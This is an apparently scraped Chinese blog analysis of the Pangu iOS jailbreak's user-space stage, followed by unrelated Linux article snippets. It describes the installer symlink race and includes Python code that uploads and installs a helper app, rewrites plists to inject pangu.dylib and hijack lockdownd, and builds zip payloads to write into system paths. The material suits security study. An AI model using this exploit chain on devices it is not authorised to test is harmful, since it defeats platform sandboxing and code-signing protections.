盘古越狱工具在用户空间的行为

背景知识

盘古在用户空间主要利用了iOS安装程序的一个漏洞,这里先列出安装一个应用的主要过程:

整个安装过程分为12个阶段,上图只是列出了起点、终点还是对盘古越狱来说比较重要的阶段。大家注意上图红线所示的时间区间,在这个区间内如果在“Staging Directory”中创建一个符号链接指向沙盒之外,就可以利用解压程序向系统目录写入文件。同时也可以通过控制压缩包中的文件列表,在起始处放一个大文件,从而在解压过程中创建一个符号链接。这是在盘古在安装过程中利用的主要漏洞,后面介绍的盘古在用户空间的行为基本都是围绕这个漏洞。

主要的组件

盘古主要由四部分组成,:

1、桌面程序:提供资源,控制越狱流程。

2、com.pangu.ipa1.ipa:Socket Server,与桌面程序配合制造竞态条件。

3、pangu.dylib,Socket Server,利用内核漏洞安装Untecher,Cydia等。

4、pangu.tar,Untecher

这里主要涉及的是前两个组件,及第三个组件中用户空间相关的部分。

工作流程

说明:为了验证自己的分析是正确的,用Python重新实现了盘古桌面程序的功能,利用盘古的Payload可以实现越狱,下面会在主要阶段给出相应示例代码。

阶段一:安装辅助程序,获取相关资源

1、安装com.pangu.ipa1.ipa

def install_pangu():
    lockdown = LockdownClient()
    afc = AFCClient(lockdown)
    mci = lockdown.startService("com.apple.mobile.installation_proxy")

    file_name = "com.pangu.ipa1.ipa"
    afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())
    mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})
    while True:
        status =  mci.recvPlist()
        if not status:
            break
        completion = status.get("PercentComplete")
        if completion:
            print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])
        if status.get("Status") == "Complete":
            print "Installation %s\n" % status["Status"]
            break
    mci.close()
    afc.stop_session()
    lockdown.stop_session()

首先利用AFC服务将IPA传到设备上,然后利用 Installation Proxy 安装应用。

2、获取Cache

def download_caches():
    fc = FileRelayClient()
    data = fc.request_sources(["Caches"])
    fc.stop_session()
    if data:
        file_path = "./payload/caches.gz"
        output_path = "./payload/caches"
        open(file_path,"wb").write(data)
        print  "Data saved to:  %s " % file_path
        with open(file_path, "r") as f:
            gz = gzip.GzipFile(mode="rb", fileobj=f)
            cpio = CpioArchive(fileobj=BytesIO(gz.read()))
            cpio.extract_files(files=None,outpath=output_path)
    else:
        print "Fail to get caches"
        raise Exception("Fail to get caches")

调用 FileRelay 服务,获取Cache,主要是从中拿到 com.apple.mobile.installation.plist

3、修改 com.apple.mobile.installation.plist

修改是针对盘古程序的,具体修改如下:

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };

4、修改盘古程序的Info.plist

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";

5、构造applicationState.plist

{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }

这个会造成盘古程序在设备重启后自动运行。

6、com.apple.LaunchServices-056.csstore 主要是为了更新程序列表

7、com.apple.backboardd.plist 禁用“看门狗”

基于上述文件盘古会构造三个Payload。

def generate_upgrade_bundle1():
    guid_str = get_guid()
    with ZipFile("./payload/upgrade1.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")
        payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")
        payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")
        payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")

def generate_upgrade_bundle2():
    # os.remove("./payload/upgrade2.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade2.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")

def generate_upgrade_bundle3():
    # os.remove("./payload/upgrade3.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade3.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
		payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")

这个阶段会知道三个程序升级包,供下一阶段使用。

另外,可以简单的理解为:执行完这个阶段就对应着盘古提示用户在手机上启动程序。

阶段二:利用竞态条件安装文件,构造环境执行pangu.dylib

当用户在手机上启动程序后,手机上的App会启动一个Socket Server,等待桌面程序的握手,这个握手的暗语挺有意思。桌面向App发送:PING,App收到后回应桌面:PONG。在握手完成后,盘古开始利用静态条件将如上构造的三个Payload安装到手机上。

具体过程为首先利用安装服务安装升级包,在安装的过程中桌面向App发送starthook,具体hook的内容可以通过调试App确定是创建一个符号链接:

"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"

其中后缀部分会因为每次安装而不同。

示例代码:

def fire_race_condition(lockdown, file_name):
    mci = lockdown.startService("com.apple.mobile.installation_proxy")
    sock = get_sock()
    print "----->PING"
    sock.send("PING")
    msg = sock.recv(4)
    if msg == "PONG":
        print "<-----PONG\n"
    upgrade_pangu(mci, file_name)
    print "----->starthook"
    sock.send("starthook")
    msg = sock.recv(4)
    if msg == "succ":
        print "<-----success\n"
    else:
        print "<-----fail\n"

在完成安装三个Payload之后,盘古会上传文件到Media中的 Pangu-Install目录:Cydia.tar、packagelist.tar、pangu.dylib、pangu.tar、pangu_ex.tar

至此,盘古基本完成了用户空间的行为,在界面上的反应为:盘古会重启设备。

阶段三:利用漏洞安装Untecher,Cydia

设备重启完成后,pangu.dylib会被加载,并启动一个 Socket Server。桌面程序在检测到设备加载后会向 pangu.dylib 发送:55AA,pangu.dylib 接到 55AA后开始安装Untecher、Cydia。

阶段四:清理

在pangu.dylib完成工作后,向桌面程序发送:AA55,桌面程序开始清理临时文件,删除Provisional文件,恢复设备时间等操作。在完成清理操作后,桌面程序会第二次重启设备,至此越狱完。

时间: 2024-10-16 19:07:43

盘古越狱工具在用户空间的行为的相关文章

Linux内核工程导论——用户空间设备管理

用户空间设备管理 用户空间所能见到的所有设备都放在/dev目录下(当然,只是一个目录,是可以变化的),文件系统所在的分区被当成一个单独的设备也放在该目录下.以前的2.4版本的曾经出现过devfs,这个思路非常好,在内核态实现对磁盘设备的动态管理.可以做到当用户访问一个设备的设备的时候,devfs驱动才会去加载该设备的驱动.甚至每个节点的设备号都是动态获得的.但是该机制的作者不再维护他的代码,linux成员经过讨论,使用用户态的udev代替内核态的devfs,所以现在的devfs已经废弃了.用户态

ubuntu+systemtap进行Linux内核和用户空间开发测试

ubuntu+systemtap进行Linux内核和用户空间开发测试 Sailor_forever  sailing_9806#163.com (本原创文章发表于Sailor_forever 的个人blog,未经本人许可,不得用于商业用途.任何个人.媒体.其他网站不得私自抄袭:网络媒体转载请注明出处,增加原文链接,否则属于侵权行为.如有任何问题,请留言或者发邮件给sailing_9806#163.com) [摘要]本文主要介绍在ubuntu平台 + 自定义内核上如何安装systemtap工具包及

用户空间驱动

一个第一次涉及内核问题的 Unix 程序猿, 可能会紧张写一个模块. 编写一个用户程序来 直接读写设备port可能easy些. 确实, 有几个论据倾向于用户空间编程, 有时编写一个所谓的用户空间设备驱动对照钻研 内核是一个明智的选择. 在本节, 我们讨论几个理由, 为什么你可能在用户空间编写驱动. 本书是关于内核空间驱动的, 可是, 所以我们不超越这个介绍性的讨论. 用户空间驱动的优点在于: ? 完整的 C 库能够连接. 驱动能够进行很多奇怪的任务, 不用依靠外面的程序(实现 使用策略的工具程序

3.2.用户空间客体管理器

SELinux体系结构的一个非常强大的特征就是,它不仅能应用到用户空间资源也能应用到内核资源.的确,他来源于对微内核的研究,在微内核中,大多数资源都是被用户空间服务器管理的.在Linux中能够对资源进行强制访问控制的用户空间服务器的例子有X服务和数据库服务.这些服务器都提供强制安全所能提供的抽象资源.这一节提到了两种SELinux体系结构支持的用户空间服务器. 3.2.1 内核对用户空间客体管理器的支持 SELinux对用户空间客体支持的一个简单的方式就是直接通过内核安全服务器,正如下面这个图表

[转]五个Linux下用户空间的调试工具

有几个Linux下的用户空间调试工具和技术,它们用来分析用户空间的问题相当有用.它们是: 'print' 语句 查询 (/proc, /sys 等) 跟踪 (strace/ltrace) Valgrind (memwatch) GDB 让我们一个个地了解. 1.'print' 语句 这是一个基本的原始的调试问题的方法. 我们可以在程序中插入print语句来了解控制流和变量值. 虽然这是一个简单的技术, 但它有一些缺点. 程序需要进行编辑以添加'print'语句,然后必须重新编译,重新运行来获得输

iOS8 将至,越狱工具市场遇冷?

多家媒体纷纷猜测苹果将于9月上旬发布 iPhone6 ,这意味着 iOS8 正式版也即将到来.然而,作者(未能找到本文作者,欢迎认领)通过对越狱市场分析后,发现越狱市场高开低走,整体份额下降严重,已有淡出之势. 一.国内iOS越狱比例创新低 自苹果步入 iOS7 时代后,用户的越狱需求就已经开始减少,据友盟数据,2013年中国 iOS 系统的越狱比例从年初的30%下滑至年末的12.7%,而2014年第一季度报告显示,国内越狱比例依然处于冰点期,比例不足15%. 作者认为,数据下跌主要是由于 iO

Linux usb子系统(三):通过usbfs操作设备的用户空间驱动

内核中提供了USB设备文件系统(usbdevfs,Linux 2.6改为usbfs,即USB文件系统),它和/proc类似,都是动态产生的.通过在/etc/fstab文件中添加如下一行:none /proc/bus/usb usbfs defaults或者输入命令:mount -t usbfs none /proc/bus/usb可以实现USB设备文件系统的挂载. 一个典型的/proc/bus/usb/devices文件的结构如下(运行的arm Linux 2.6.37内核上的机器上插入了一个u

Linux时间子系统(三) 用户空间接口函数

一.前言 从应用程序的角度看,内核需要提供的和时间相关的服务有三种: 1.和系统时间相关的服务.例如,在向数据库写入一条记录的时候,需要记录操作时间(何年何月何日何时). 2.让进程睡眠一段时间 3.和timer相关的服务.在一段指定的时间过去后,kernel要alert用户进程 本文主要描述和时间子系统相关的用户空间接口函数知识. 二.和系统时间相关的服务 1.秒级别的时间函数:time和stime time和stime函数的定义如下: #include <time.h> time_t ti

Linux启动时间优化-内核和用户空间启动优化实践

关键词:initcall.bootgraph.py.bootchartd.pybootchart等. 启动时间的优化,分为两大部分,分别是内核部分和用户空间两大部分. 从内核timestamp 0.000000作为内核启动起点,到free_initmem()输出"Freeing init memory"作为内核启动的终点. 借助于bootgraph.py对内核的kmsg进行分析,输出bootgraph.html和initcall耗时csv文件. 在紧接着free_initmem()下面